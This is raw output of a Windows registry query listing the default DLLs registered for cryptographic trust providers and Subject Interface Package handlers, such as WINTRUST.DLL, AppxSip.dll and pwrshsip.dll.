HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\System32\Cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\DiagnosticPolicy\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsec.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\System32\Cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsecimpl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\urlmon.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\ieframe.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\System32\Cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Usages\1.3.6.1.4.1.311.10.3.3
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Usages\1.3.6.1.5.5.7.3.1
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Usages\1.3.6.1.5.5.7.3.2
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Usages\2.16.840.1.113730.4.1
    $DLL    REG_SZ    WINTRUST.DLL

End of search: 97 match(es) found.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllLogMismatchPinRules\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\SysWOW64\cryptui.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\#16
    Dll    REG_SZ    C:\Windows\SysWOW64\cryptnet.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\Ldap
    Dll    REG_SZ    C:\Windows\SysWOW64\cryptnet.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllProtectedRootMessageBox\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\SysWOW64\cryptui.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllProtectPrompt\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\SysWOW64\cryptui.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\SysWOW64\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\SysWOW64\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\SysWOW64\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\SysWOW64\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\SysWOW64\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\SysWOW64\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\pwrshsip.dll

